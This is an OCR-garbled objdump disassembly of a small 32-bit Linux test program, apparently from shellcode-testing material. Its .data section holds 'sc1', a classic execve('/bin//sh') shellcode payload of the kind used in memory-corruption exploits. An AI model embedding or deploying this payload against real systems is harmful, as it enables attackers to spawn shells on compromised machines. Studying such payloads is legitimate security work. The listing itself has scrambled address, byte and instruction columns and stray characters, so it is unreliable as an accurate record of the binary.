%eax,(%eax)
8049f28:
             01 00
                                  add
8049f2a:
             00 00
                                       %al,(%eax)
                                  add
             10 00
                                       %al,(%eax)
8049f2c:
                                  adc
             00 00
                                       %al,(%eax)
8049f2e:
                                  add
8049f30:
             0c 00
                                       $0x0,%al
                                  or
             00 00
                                       %al,(%eax)
8049f32:
                                  add
                                 %eax,%esp
8049f34:
             94
                           xchg
8049f35:
             82
                           (bad)
8049f36:
             04 08
                                       $0x8,%al
                                  add
                                       $0x7c000000,%eax
8049f38:
             0d 00 00 00 7c
                                  or
8049f3d:
             84 04 08
                                  test %al,(%eax,%ecx,1)
8049f40:
             f5
                           cmc
8049f41:
                           (bad)
             fe
                                  ljmp *-0x54(%edi)
8049f42:
             ff 6f ac
             81 04 08 05 00 00 00 addl $0x5,(%eax,%ecx,1)
8049f45:
8049f4c:
             0c 82
                                       $0x82,%al
                                  or
             04 08
                                       $0x8,%al
8049f4e:
                                  add
8049f50:
             06
                           push
                                 %es
             00 00
                                        %al,(%eax)
8049f51:
                                  add
8049f53:
             00 cc
                                  add
                                       %cl,%ah
             81 04 08 0a 00 00 00 addl $0xa,(%eax,%ecx,1)
8049f55:
8049f5c:
             45
                           inc
                                %ebp
                                       %al,(%eax)
             00 00
8049f5d:
                                  add
8049f5f:
             00 0b
                                  add
                                       %cl,(%ebx)
8049f61:
             00 00
                                  add
                                       %al,(%eax)
8049f63:
             00 10
                                  add
                                       %dl,(%eax)
             00 00
                                       %al,(%eax)
8049f65:
                                  add
                                       %dI,0x0
8049f67:
             00 15 00 00 00 00
                                  add
                                       %al,(%eax)
8049f6d:
             00 00
                                  add
             00 03
                                       %al,(%ebx)
8049f6f:
                                  add
8049f71:
             00 00
                                  add
                                       %al,(%eax)
8049f73:
             00 f4
                                       %dh,%ah
                                  add
8049f75:
             9f
                           lahf
8049f76:
             04 08
                                  add
                                       $0x8,%al
8049f78:
             02 00
                                  add
                                       (%eax),%al
8049f7a:
             00 00
                                       %al,(%eax)
                                  add
8049f7c:
             10 00
                                       %al,(%eax)
                                  adc
                                       %al,(%eax)
8049f7e:
             00 00
                                  add
8049f80:
             14 00
                                  adc
                                       $0x0,%al
             00 00
                                       %al,(%eax)
8049f82:
                                  add
8049f84:
             11 00
                                       %eax,(%eax)
                                  adc
8049f86:
             00 00
                                  add
                                       %al,(%eax)
8049f88:
             17
                                 %ss
                           pop
8049f89:
             00 00
                                  add
                                        %al,(%eax)
```

```
%al,0x110804(%edx,%eax,4)
8049f8b:
             00 84 82 04 08 11 00 add
8049f92:
             00 00
                                        %al,(%eax)
                                  add
             7c 82
                                      8049f18 < CTOR END >
8049f94:
                                  įΙ
             04 08
                                        $0x8,%al
8049f96:
                                  add
8049f98:
             12 00
                                       (%eax),%al
                                  adc
             00 00
                                        %al,(%eax)
8049f9a:
                                  add
                                       %al,(%eax)
8049f9c:
             08 00
                                  or
8049f9e:
             00 00
                                  add
                                       %al,(%eax)
8049fa0:
             13 00
                                       (%eax),%eax
                                  adc
                                       %al,(%eax)
8049fa2:
             00 00
                                  add
                                       %al,(%eax)
8049fa4:
             08 00
                                  or
             00 00
                                        %al,(%eax)
8049fa6:
                                  add
8049fa8:
                           (bad)
             fe
8049fa9:
             ff
                           (bad)
8049faa:
             ff 6f 5c
                                  ljmp
                                       *0x5c(%edi)
8049fad:
             82
                           (bad)
8049fae:
             04 08
                                        $0x8,%al
                                  add
                           (bad)
8049fb0:
             ff
8049fb1:
                           (bad)
             ff
8049fb2:
             ff 6f 01
                                       *0x1(%edi)
                                  ljmp
8049fb5:
             00 00
                                  add
                                        %al,(%eax)
                                        %dh,%al
8049fb7:
             00 f0
                                  add
8049fb9:
             ff
                           (bad)
8049fba:
             ff 6f 52
                                       *0x52(%edi)
                                  ljmp
8049fbd:
             82
                           (bad)
8049fbe:
             04 08
                                  add
                                        $0x8,%al
Disassembly of section .got:
08049ff0 <.got>:
             00 00
                                        %al,(%eax)
8049ff0:
                                  add
Disassembly of section .got.plt:
08049ff4 < GLOBAL_OFFSET_TABLE_>:
8049ff4:
             28 9f 04 08 00 00
                                  sub
                                        %bl,0x804(%edi)
                                        %al,(%eax)
8049ffa:
             00 00
                                  add
                                       %al,(%eax)
8049ffc:
             00 00
                                  add
8049ffe:
             00 00
                                       %al,(%eax)
                                  add
804a000:
             e6 82
                                  out
                                       %al,$0x82
804a002:
             04 08
                                  add
                                        $0x8,%al
804a004:
             f6
                           .byte 0xf6
```

804a005: 82 (bad) 804a006: 04 08 add \$0x8,%al Disassembly of section .data: 0804a008 <\_\_data\_start>: 00 00 804a008: add %al,(%eax) 0804a00c < dso handle>: 00 00 804a00c: add %al,(%eax) 0804a010 <sc1>: 804a010: 31 c0 %eax,%eax xor 804a012: 50 push %eax 804a013: 68 2f 2f 73 68 push \$0x68732f2f 804a018: 68 2f 62 69 6e push \$0x6e69622f 804a01d: 89 e3 mov %esp,%ebx 804a01f: 50 push %eax mov 804a020: 89 e2 %esp,%edx push %ebx 804a022: 53 804a023: 89 e1 mov %esp,%ecx 804a025: b0 0b mov \$0xb,%al 804a027: cd 80 int \$0x80 804a029: 00 00 add %al,(%eax) Disassembly of section .bss: 0804a02c <completed.6159>: 804a02c: 00 00 %al,(%eax) add 0804a030 <dtor idx.6161>: 804a030: 00 00 %al,(%eax) add Disassembly of section .comment: 00000000 <.comment>: 0: 47 inc %edi 1: 43 inc %ebx 2: 43 inc %ebx

```
3:
      3a 20
                           cmp
                                 (%eax),%ah
 5:
      28 55 62
                                %dl,0x62(%ebp)
                           sub
                           ine 78 < init-0x804821c>
      75 6e
 8:
      74 75
                               81 < init-0x8048213>
 a:
                           ie
      2f
 c:
                    das
 d:
      4c
                    dec
                          %esp
      69 6e 61 72 6f 20 34 imul $0x34206f72,0x61(%esi),%ebp
 e:
 15:
      2e 36 2e 33 2d 31 75 cs ss xor %cs:%ss:0x75627531,%ebp
      62 75
 1c:
                    outsb %ds:(%esi),(%dx)
 1e:
      6e
                               96 <_init-0x80481fe>
 1f:
      74 75
 21:
      35 29 20 34 2e
                           xor $0x2e342029,%eax
 26:
      36 2e 33 00
                           ss xor %cs:%ss:(%eax),%eax
Disassembly of section .debug_aranges:
00000000 <.debug_aranges>:
 0:
      1c 00
                                $0x0,%al
                           sbb
 2:
      00 00
                                 %al,(%eax)
                           add
      02 00
 4:
                                (%eax),%al
                           add
      00 00
                                %al,(%eax)
 6:
                           add
 8:
      00 00
                           add
                                %al,(%eax)
                                $0x0,%al
 a:
      04 00
                           add
      00 00
                           add
                                %al,(%eax)
 C:
 e:
      00 00
                           add
                                %al,(%eax)
 10:
      b4 83
                           mov $0x83,%ah
                                $0x8,%al
 12:
      04 08
                           add
 14:
                                (%eax),%eax
      1b 00
                           sbb
      ...
Disassembly of section .debug_info:
00000000 <.debug_info>:
 0:
      c2 00 00
                           ret $0x0
      00 02
                                 %al,(%edx)
 3:
                           add
 5:
      00 00
                           add
                                %al,(%eax)
 7:
      00 00
                           add
                                %al,(%eax)
                                 %al,(%ecx,%eax,1)
 9:
      00 04 01
                           add
 C:
      5a
                          %edx
                    pop
 d:
      00 00
                                 %al,(%eax)
                           add
 f:
      00 01
                           add
                                 %al,(%ecx)
 11:
      0e
                          %cs
                    push
 12:
      00 00
                           add
                                 %al,(%eax)
 14:
      00 29
                           add
                                %ch,(%ecx)
```

```
00 00
                                %al,(%eax)
16:
                           add
18:
     00 b4 83 04 08 cf 83 add
                                %dh,-0x7c30f7fc(%ebx,%eax,4)
1f:
     04 08
                                $0x8,%al
                          add
21:
     00 00
                                %al,(%eax)
                          add
23:
     00 00
                          add
                                %al,(%eax)
25:
     02 04 07
                                (%edi,%eax,1),%al
                          add
28:
     4d
                         %ebp
                   dec
29:
     00 00
                          add
                                %al,(%eax)
2b:
     00 03
                          add
                                %al,(%ebx)
2d:
     04 05
                          add
                                $0x5,%al
2f:
     69 6e 74 00 04 04 2c imul
                                $0x2c040400,0x74(%esi),%ebp
     00 00
36:
                          add
                                %al,(%eax)
38:
     00 02
                                %al,(%edx)
                          add
     04 05
                                $0x5,%al
3a:
                          add
3c:
     05 00 00 00 02
                                $0x2000000,%eax
                          add
41:
     08 05 00 00 00 00
                               %al,0x0
                          or
47:
     02 01
                                (%ecx),%al
                          add
49:
     08 16
                          or
                               %dl,(%esi)
4b:
     00 00
                                %al,(%eax)
                          add
     00 02
4d:
                          add
                                %al,(%edx)
4f:
     02 07
                                (%edi),%al
                          add
51:
     66
                   data16
52:
     00 00
                          add
                                %al,(%eax)
54:
     00 02
                          add
                                %al,(%edx)
56:
     04 07
                          add
                                $0x7,%al
58:
     48
                         %eax
                   dec
59:
     00 00
                          add
                                %al,(%eax)
     00 02
                                %al,(%edx)
5b:
                          add
     01 06
                                %eax,(%esi)
5d:
                          add
5f:
     18 00
                                %al,(%eax)
                          sbb
61:
     00 00
                          add
                                %al,(%eax)
                                (%edx),%al
63:
     02 02
                           add
65:
     05 79 00 00 00
                          add
                                $0x79,%eax
6a:
     02 08
                          add
                                (%eax),%cl
6c:
     07
                   pop
                         %es
6d:
     43
                         %ebx
                   inc
6e:
     00 00
                          add
                                %al,(%eax)
70:
     00 02
                                %al,(%edx)
                          add
72:
     01 06
                          add
                                %eax,(%esi)
74:
     1f
                         %ds
                   pop
75:
     00 00
                          add
                                %al,(%eax)
77:
     00 05 01 24 00 00
                          add
                                %al,0x2401
7d:
     00 01
                          add
                                %al,(%ecx)
7f:
     06
                   push
                          %es
```

```
80:
                                 $0x0,%al
      2c 00
                           sub
 82:
      00 00
                                 %al,(%eax)
                           add
      b4 83
                                 $0x83,%ah
 84:
                           mov
      04 08
                                 $0x8,%al
 86:
                           add
 88:
      cf
                    iret
 89:
      83 04 08 00
                                $0x0,(%eax,%ecx,1)
                           addl
                                 %al,(%eax)
 8d:
      00 00
                           add
 8f:
      00 a3 00 00 00 06
                           add
                                %ah,0x6000000(%ebx)
 95:
      72 65
                               fc < init-0x8048198>
                           jb
 97:
      74 00
                           je
                               99 < init-0x80481fb>
 99:
      01 08
                           add
                                %ecx,(%eax)
                                (%eax),%eax
 9b:
      33 00
                           xor
                                %al,(%eax)
 9d:
      00 00
                           add
 9f:
                                0x71070074(%ecx),%dl
      02 91 74 00 07 71
                           add
      00 00
                                 %al,(%eax)
 a5:
                           add
 a7:
      00 b3 00 00 00 08
                           add
                                %dh,0x8000000(%ebx)
      25 00 00 00 19
                                 $0x19000000,%eax
 ad:
                           and
 b2:
      00 09
                           add
                                %cl,(%ecx)
 b4:
      73 63
                                119 <_init-0x804817b>
                           jae
 b6:
      31 00
                                %eax,(%eax)
                           xor
                                %eax,(%ebx)
      01 03
 b8:
                           add
 ba:
      a3 00 00 00 01
                                %eax,0x1000000
                           mov
      05 03 10 a0 04
                                 $0x4a01003,%eax
 bf:
                           add
 c4:
      08 00
                                %al,(%eax)
                           or
Disassembly of section .debug abbrev:
00000000 <.debug_abbrev>:
                                 %edx,(%ecx)
 0:
      01 11
                           add
 2:
      01 25 0e 13 0b 03
                                 %esp,0x30b130e
                           add
 8:
      0e
                          %cs
                    push
                                (%esi),%ecx
 9:
      1b 0e
                           sbb
 b:
      11 01
                                 %eax,(%ecx)
                           adc
 d:
      12 01
                                (%ecx),%al
                           adc
 f:
      10 06
                           adc
                                %al,(%esi)
 11:
      00 00
                                 %al,(%eax)
                           add
                                (%eax,%eax,1),%ah
 13:
      02 24 00
                           add
 16:
      0b 0b
                                (%ebx),%ecx
                           or
                                %ds:(%ebx),%eax
 18:
      3e 0b 03
                           or
 1b:
      0e
                    push
                          %cs
      00 00
                                 %al,(%eax)
 1c:
                           add
 1e:
      03 24 00
                           add
                                (%eax,%eax,1),%esp
 21:
      0b 0b
                                (%ebx),%ecx
                           or
                                %ds:(%ebx),%eax
 23:
      3e 0b 03
                           or
```

28: 00 00 40 for add add %cl.(%ebx) 20: 00 04 of add %cl.(%ebx) 30: 00 00 03 add %cl.(%ebx) 32: 05 2e 01 3f 0c add \$\delta \cdot \left(\left(\left(\left) \right) \right(\left(\left(\left) \right) \right) \right) 32: 05 2e 01 3f 0c add \$\delta \cdot \left(\left(\left(\left) \right) \right) \right) \right) 32: 05 2e 01 3f 0c add \$\delta \cdot \left(\left(\left(\left) \right) \right) \right) \right) 32: 05 2e 01 3f 0c add \$\delta \cdot \left(\left(\left(\left) \right) \right) \right) \right) 33: 30 0b cmp (\left(\left(\left(\left(\left(\left) \right) \right) \right) \right) 36: 33 0b cmp (\left(\	200	00.00			0/ =1 (0/ ====)
2b: 00 0b	26:	08 00		or	%al,(%eax)
2d:         0b 49 13         or         0x13(%ecx),%ecx           30:         00 00         add         %al,(%eax)           32:         05 2e 01 3f 0c         add         %al,(%eax)           37:         03 0e         add         (%esi),%ecx           39:         3a 0b         cmp         (%ebx),%cl           3b:         3b 0b         cmp         (%ebx),%ecx           3e:         13 11         adc         (%ecx),%edx           40:         01 12         add         %edx,(%edx)           42:         01 40 06         add         %edx,(%ebx)           45:         01 13         add         %edx,(%ebx)           47:         00 00         add         %eax,0x6(%eax)           48:         34 00         xor         \$0x0,%al           4c:         3a 0b         cmp         (%ebx),%ecx           4e:         3a 0b         cmp         (%ebx),%ecx           50:         3b 0b         cmp         (%ebx),%ecx           55:         0a 00         or         (%eax),%eax           56:         0a 00         or         (%eax),%eax           56:         13 01         adc         (%eax),%eax <td></td> <td></td> <td></td> <td></td> <td>,</td>					,
30: 00 00					·
32:  05 2e 01 3f 0c					
37: 03 0e					•
39: 3a 0b					
3b: 3b 0b					
3d: 49				-	
3e: 13 11				•	(%ebx),%ecx
40: 01 12			dec		
42: 01 40 06					•
45: 01 13					•
47:       00 00       add       %al,(%eax)         49:       06       push       %es         4a:       34 00       xor       \$0x0,%al         4c:       03 08       add       (%eax),%ecx         4e:       3a 0b       cmp       (%ebx),%cl         50:       3b 0b       cmp       (%ebx),%ecx         52:       49       dec       %ecx         53:       13 02       adc       (%edx),%eax         55:       0a 00       or       (%eax),%eax         57:       00 07       add       %al,(%edi)         59:       01 01       add       %eax,(%ecx)         5b:       49       dec       %eex         5c:       13 01       adc       (%eex),%eax         60:       00 08       add       %cl,(%eax)         62:       21 00       and       %eax,(%eax)         64:       49       dec       %eex         65:       13 2f       adc       (%edi),%ebp         67:       0b 00       or       (%eax),%eax         69:       00 09       add       %cl,(%ecx)         66:       34 00       xor       \$0x0,%al <td></td> <td></td> <td></td> <td></td> <td></td>					
49:       06       push       %es         4a:       34 00       xor       \$0x0,%al         4c:       03 08       add       (%eax),%ecx         4e:       3a 0b       cmp       (%ebx),%cl         50:       3b 0b       cmp       (%ebx),%ecx         52:       49       dec       %eex         55:       0a 00       or       (%eax),%eax         57:       00 07       add       %al,(%edi)         59:       01 01       add       %eax,(%ecx)         5b:       49       dec       %eex         5c:       13 01       adc       (%eax),%eax         60:       00 08       add       %cl,(%eax)         62:       21 00       and       %eax,(%eax)         64:       49       dec       %ecx         65:       13 2f       adc       (%edi),%ebp         67:       0b 00       or       (%eax),%eax         69:       00 09       add       %cl,(%ecx)         6b:       34 00       xor       \$0x0,%al         6d:       03 08       add       (%ebx),%cl         71:       3b 0b       cmp       (%ebx),%ecx <td></td> <td></td> <td></td> <td>add</td> <td>%edx,(%ebx)</td>				add	%edx,(%ebx)
4a:       34 00       xor       \$0x0,%al         4c:       03 08       add       (%eax),%ecx         4e:       3a 0b       cmp       (%ebx),%cl         50:       3b 0b       cmp       (%ebx),%ecx         52:       49       dec       %ecx         53:       13 02       adc       (%edx),%eax         55:       0a 00       or       (%eax),%al         57:       00 07       add       %al,(%edi)         59:       01 01       add       %eax,(%ecx)         5b:       49       dec       %eex         5c:       13 01       adc       (%ecx),%eax         60:       00 08       add       %cl,(%eax)         62:       21 00       and       %eax,(%eax)         64:       49       dec       %ecx         65:       13 2f       adc       (%edi),%ebp         67:       0b 00       or       (%eax),%eax         69:       00 09       add       %cl,(%ecx)         6b:       34 00       xor       \$0x0,%al         6d:       3a 0b       cmp       (%ebx),%ecx         73:       49       dec       %ecx <td>47:</td> <td></td> <td></td> <td>add</td> <td>%al,(%eax)</td>	47:			add	%al,(%eax)
4c:       03 08       add (%eax),%ecx         4e:       3a 0b       cmp (%ebx),%cl         50:       3b 0b       cmp (%ebx),%ecx         52:       49       dec %ecx         53:       13 02       adc (%edx),%eax         55:       0a 00       or (%eax),%al         57:       00 07       add %al,(%edi)         59:       01 01       add %eax,(%ecx)         5b:       49       dec %ecx         5c:       13 01       adc (%eax),%eax         60:       00 08       add %cl,(%eax)         60:       01 01       add %cl,(%eax)         60:       02 00 08       add %cl,(%eax)         60:       03 08       adc (%edi),%ebp         60:       04:       49       dec %ecx         60:       04:       49       dec %ecx         60:       05:       13 2f       adc (%edi),%ebp         60:       06:       34 00       xor \$0x0,%al         60:       03 08       add (%eax),%ecx         66:       3a 0b       cmp (%ebx),%cl         71:       3b 0b       cmp (%ebx),%cl         73:       49       dec %ecx         74: <td< td=""><td>49:</td><td>06</td><td>push</td><td>%es</td><td></td></td<>	49:	06	push	%es	
4e:       3a 0b       cmp (%ebx),%cl         50:       3b 0b       cmp (%ebx),%ecx         52:       49       dec %ecx         53:       13 02       adc (%edx),%eax         55:       0a 00       or (%eax),%al         57:       00 07       add %al,(%edi)         59:       01 01       add %eax,(%ecx)         5b:       49       dec %ecx         5c:       13 01       adc (%eax),%eax         60:       00 08       add %cl,(%eax)         62:       21 00       and %eax,(%eax)         64:       49       dec %ecx         65:       13 2f       adc (%edi),%ebp         67:       0b 00       or (%eax),%eax         69:       00 09       add %cl,(%ecx)         6b:       34 00       xor \$0x0,%al         6d:       03 08       add (%eax),%ecx         6f:       3a 0b       cmp (%ebx),%cl         71:       3b 0b       cmp (%ebx),%ecx         73:       49       dec %ecx         74:       13 3f       adc (%edi),%edi         76:       0c 02       or \$0x2,%al	4a:	34 00		xor	\$0x0,%al
50:       3b 0b       cmp (%ebx),%ecx         52:       49       dec %ecx         53:       13 02       adc (%edx),%eax         55:       0a 00       or (%eax),%al         57:       00 07       add %al,(%edi)         59:       01 01       add %eax,(%ecx)         5b:       49       dec %ecx         5c:       13 01       adc (%ecx),%eax         5e:       13 00       adc (%eax),%eax         60:       00 08       add %cl,(%eax)         62:       21 00       and %eax,(%eax)         64:       49       dec %ecx         65:       13 2f       adc (%edi),%ebp         67:       0b 00       or (%eax),%eax         69:       00 09       add %cl,(%ecx)         6b:       34 00       xor \$0x0,%al         6d:       03 08       add (%eax),%ecx         6f:       3a 0b       cmp (%ebx),%cl         71:       3b 0b       cmp (%ebx),%ecx         73:       49       dec %ecx         74:       13 3f       adc (%edi),%edi         76:       0c 02       or \$0x2,%al	4c:	03 08		add	•
52:       49       dec       %ecx         53:       13 02       adc (%edx),%eax         55:       0a 00       or (%eax),%al         57:       00 07       add %al,(%edi)         59:       01 01       add %eax,(%ecx)         5b:       49       dec %ecx         5c:       13 01       adc (%ecx),%eax         5e:       13 00       adc (%eax),%eax         60:       00 08       add %cl,(%eax)         62:       21 00       and %eax,(%eax)         64:       49       dec %ecx         65:       13 2f       adc (%edi),%ebp         67:       0b 00       or (%eax),%eax         69:       00 09       add %cl,(%ecx)         6b:       34 00       xor \$0x0,%al         6d:       03 08       add (%eax),%ecx         6f:       3a 0b       cmp (%ebx),%cl         71:       3b 0b       cmp (%ebx),%ecx         73:       49       dec %ecx         74:       13 3f       adc (%edi),%edi         76:       0c 02       or \$0x2,%al	4e:	3a 0b		cmp	(%ebx),%cl
53:       13 02       adc (%edx),%eax         55:       0a 00       or (%eax),%al         57:       00 07       add %al,(%edi)         59:       01 01       add %eax,(%ecx)         5b:       49       dec %ecx         5c:       13 01       adc (%ecx),%eax         5e:       13 00       adc (%eax),%eax         60:       00 08       add %cl,(%eax)         62:       21 00       and %eax,(%eax)         64:       49       dec %ecx         65:       13 2f       adc (%edi),%ebp         67:       0b 00       or (%eax),%eax         69:       00 09       add %cl,(%ecx)         6b:       34 00       xor \$0x0,%al         6d:       03 08       add (%eax),%ecx         6f:       3a 0b       cmp (%ebx),%cl         71:       3b 0b       cmp (%ebx),%ecx         73:       49       dec %ecx         74:       13 3f       adc (%edi),%edi         76:       0c 02       or \$0x2,%al	50:	3b 0b		cmp	(%ebx),%ecx
55:         0a 00         or (%eax),%al           57:         00 07         add %al,(%edi)           59:         01 01         add %eax,(%ecx)           5b:         49         dec %ecx           5c:         13 01         adc (%ecx),%eax           5e:         13 00         adc (%eax),%eax           60:         00 08         add %cl,(%eax)           62:         21 00         and %eax,(%eax)           64:         49         dec %ecx           65:         13 2f         adc (%edi),%ebp           67:         0b 00         or (%eax),%eax           69:         00 09         add %cl,(%ecx)           6b:         34 00         xor \$0x0,%al           6d:         03 08         add (%eax),%ecx           6f:         3a 0b         cmp (%ebx),%cl           71:         3b 0b         cmp (%ebx),%ecx           73:         49         dec %ecx           74:         13 3f         adc (%edi),%edi           76:         0c 02         or \$0x2,%al	52:	49	dec	%ecx	
57:       00 07       add       %al,(%edi)         59:       01 01       add       %eax,(%ecx)         5b:       49       dec       %ecx         5c:       13 01       adc       (%ecx),%eax         5e:       13 00       adc       (%eax),%eax         60:       00 08       add       %cl,(%eax)         62:       21 00       and       %eax,(%eax)         64:       49       dec       %ecx         65:       13 2f       adc       (%edi),%ebp         67:       0b 00       or       (%eax),%eax         69:       00 09       add       %cl,(%ecx)         6b:       34 00       xor       \$0x0,%al         6d:       03 08       add       (%eax),%ecx         6f:       3a 0b       cmp       (%ebx),%ecx         71:       3b 0b       cmp       (%ebx),%ecx         73:       49       dec       %ecx         74:       13 3f       adc       (%edi),%edi         76:       0c 02       or       \$0x2,%al	53:	13 02		adc	(%edx),%eax
59:         01 01         add         %eax,(%ecx)           5b:         49         dec         %ecx           5c:         13 01         adc         (%eax),%eax           60:         00 08         add         %cl,(%eax)           62:         21 00         and         %eax,(%eax)           64:         49         dec         %ecx           65:         13 2f         adc         (%edi),%ebp           67:         0b 00         or         (%eax),%eax           69:         00 09         add         %cl,(%ecx)           6b:         34 00         xor         \$0x0,%al           6d:         03 08         add         (%eax),%ecx           6f:         3a 0b         cmp         (%ebx),%cl           71:         3b 0b         cmp         (%ebx),%ecx           73:         49         dec         %ecx           74:         13 3f         adc         (%edi),%edi           76:         0c 02         or         \$0x2,%al	55:	0a 00		or	(%eax),%al
5b: 49       dec %ecx         5c: 13 01       adc (%ecx),%eax         5e: 13 00       adc (%eax),%eax         60: 00 08       add %cl,(%eax)         62: 21 00       and %eax,(%eax)         64: 49       dec %ecx         65: 13 2f       adc (%edi),%ebp         67: 0b 00       or (%eax),%eax         69: 00 09       add %cl,(%ecx)         6b: 34 00       xor \$0x0,%al         6d: 03 08       add (%eax),%ecx         6f: 3a 0b       cmp (%ebx),%cl         71: 3b 0b       cmp (%ebx),%ecx         73: 49       dec %ecx         74: 13 3f       adc (%edi),%edi         76: 0c 02       or \$0x2,%al	57:	00 07		add	%al,(%edi)
5c:       13 01       adc (%ecx),%eax         5e:       13 00       adc (%eax),%eax         60:       00 08       add %cl,(%eax)         62:       21 00       and %eax,(%eax)         64:       49       dec %ecx         65:       13 2f       adc (%edi),%ebp         67:       0b 00       or (%eax),%eax         69:       00 09       add %cl,(%ecx)         6b:       34 00       xor \$0x0,%al         6d:       03 08       add (%eax),%ecx         6f:       3a 0b       cmp (%ebx),%cl         71:       3b 0b       cmp (%ebx),%ecx         73:       49       dec %ecx         74:       13 3f       adc (%edi),%edi         76:       0c 02       or \$0x2,%al	59:	01 01		add	%eax,(%ecx)
5e:       13 00       adc (%eax),%eax         60:       00 08       add %cl,(%eax)         62:       21 00       and %eax,(%eax)         64:       49       dec %ecx         65:       13 2f       adc (%edi),%ebp         67:       0b 00       or (%eax),%eax         69:       00 09       add %cl,(%ecx)         6b:       34 00       xor \$0x0,%al         6d:       03 08       add (%eax),%ecx         6f:       3a 0b       cmp (%ebx),%cl         71:       3b 0b       cmp (%ebx),%ecx         73:       49       dec %ecx         74:       13 3f       adc (%edi),%edi         76:       0c 02       or \$0x2,%al	5b:	49	dec	%ecx	
60: 00 08 add %cl,(%eax) 62: 21 00 and %eax,(%eax) 64: 49 dec %ecx 65: 13 2f adc (%edi),%ebp 67: 0b 00 or (%eax),%eax 69: 00 09 add %cl,(%ecx) 6b: 34 00 xor \$0x0,%al 6d: 03 08 add (%eax),%ecx 6f: 3a 0b cmp (%ebx),%cl 71: 3b 0b cmp (%ebx),%cl 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	5c:	13 01		adc	(%ecx),%eax
62: 21 00 and %eax,(%eax) 64: 49 dec %ecx 65: 13 2f adc (%edi),%ebp 67: 0b 00 or (%eax),%eax 69: 00 09 add %cl,(%ecx) 6b: 34 00 xor \$0x0,%al 6d: 03 08 add (%eax),%ecx 6f: 3a 0b cmp (%ebx),%cl 71: 3b 0b cmp (%ebx),%cl 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	5e:	13 00		adc	(%eax),%eax
64: 49 dec %ecx 65: 13 2f adc (%edi),%ebp 67: 0b 00 or (%eax),%eax 69: 00 09 add %cl,(%ecx) 6b: 34 00 xor \$0x0,%al 6d: 03 08 add (%eax),%ecx 6f: 3a 0b cmp (%ebx),%cl 71: 3b 0b cmp (%ebx),%ecx 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	60:	80 00		add	%cl,(%eax)
65: 13 2f adc (%edi),%ebp 67: 0b 00 or (%eax),%eax 69: 00 09 add %cl,(%ecx) 6b: 34 00 xor \$0x0,%al 6d: 03 08 add (%eax),%ecx 6f: 3a 0b cmp (%ebx),%cl 71: 3b 0b cmp (%ebx),%ecx 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	62:	21 00		and	%eax,(%eax)
67: 0b 00 or (%eax),%eax 69: 00 09 add %cl,(%ecx) 6b: 34 00 xor \$0x0,%al 6d: 03 08 add (%eax),%ecx 6f: 3a 0b cmp (%ebx),%cl 71: 3b 0b cmp (%ebx),%ecx 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	64:	49	dec	%ecx	
69: 00 09 add %cl,(%ecx) 6b: 34 00 xor \$0x0,%al 6d: 03 08 add (%eax),%ecx 6f: 3a 0b cmp (%ebx),%cl 71: 3b 0b cmp (%ebx),%ecx 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	65:	13 2f		adc	(%edi),%ebp
6b: 34 00	67:	0b 00		or	(%eax),%eax
6d: 03 08 add (%eax),%ecx 6f: 3a 0b cmp (%ebx),%cl 71: 3b 0b cmp (%ebx),%ecx 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	69:	00 09		add	%cl,(%ecx)
6f: 3a 0b cmp (%ebx),%cl 71: 3b 0b cmp (%ebx),%ecx 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	6b:	34 00		xor	\$0x0,%al
71: 3b 0b cmp (%ebx),%ecx 73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	6d:	03 08		add	(%eax),%ecx
73: 49 dec %ecx 74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	6f:	3a 0b		cmp	(%ebx),%cl
74: 13 3f adc (%edi),%edi 76: 0c 02 or \$0x2,%al	71:	3b 0b		cmp	(%ebx),%ecx
76: 0c 02 or \$0x2,%al	73:	49	dec	%ecx	
	74:	13 3f		adc	(%edi),%edi
78: 0a 00 or (%eax),%al	76:	0c 02		or	\$0x2,%al
	78:	0a 00		or	(%eax),%al
···					

```
Disassembly of section .debug line:
00000000 <.debug_line>:
      34 00
 0:
                                $0x0,%al
                           xor
 2:
      00 00
                                 %al,(%eax)
                           add
 4:
      02 00
                                 (%eax),%al
                           add
 6:
                          %ds
      1e
                    push
 7:
      00 00
                           add
                                 %al,(%eax)
 9:
      00 01
                                 %al,(%ecx)
                           add
 b:
      01 fb
                           add
                                 %edi,%ebx
 d:
      0e
                    push
                           %cs
                                $0x1010100,%eax
      0d 00 01 01 01
 e:
                           or
                                 %eax,(%eax)
 13:
      01 00
                           add
      00 00
                                 %al,(%eax)
 15:
                           add
 17:
      01 00
                                 %eax,(%eax)
                           add
 19:
      00 01
                           add
                                 %al,(%ecx)
      00 73 74
                                 %dh,0x74(%ebx)
 1b:
                           add
 1e:
      65
                    gs
 1f:
      73 74
                                95 <_init-0x80481ff>
                           jae
 21:
      2e 63 00
                           arpl %ax,%cs:(%eax)
 24:
                           add
                                 %al,(%eax)
      00 00
 26:
      00 00
                           add
                                 %al,(%eax)
 28:
                                 %al,0x483b402
      00 05 02 b4 83 04
                           add
 2e:
      08 18
                                %bl,(%eax)
                           or
 30:
      68 91 9f 02 02
                           push $0x2029f91
 35:
      00 01
                           add %al,(%ecx)
 37:
      01
                    .byte 0x1
Disassembly of section .debug_str:
00000000 <.debug_str>:
 0:
      6c
                    insb (%dx),%es:(%edi)
 1:
      6f
                    outsl %ds:(%esi),(%dx)
 2:
      6e
                    outsb %ds:(%esi),(%dx)
                           and %ch,0x6f(%si)
 3:
      67 20 6c 6f
 7:
                    outsb %ds:(%esi),(%dx)
      6e
 8:
      67 20 69 6e
                           and %ch,0x6e(%bx,%di)
      74 00
                                e < init-0x8048286>
 c:
                           ie
 e:
      73 74
                           jae 84 <_init-0x8048210>
 10:
      65
                    gs
 11:
      73 74
                           jae 87 < init-0x804820d>
 13:
      2e 63 00
                           arpl %ax,%cs:(%eax)
 16:
      75 6e
                                86 < init-0x804820e>
                           ine
 18:
      73 69
                                83 <_init-0x8048211>
```

```
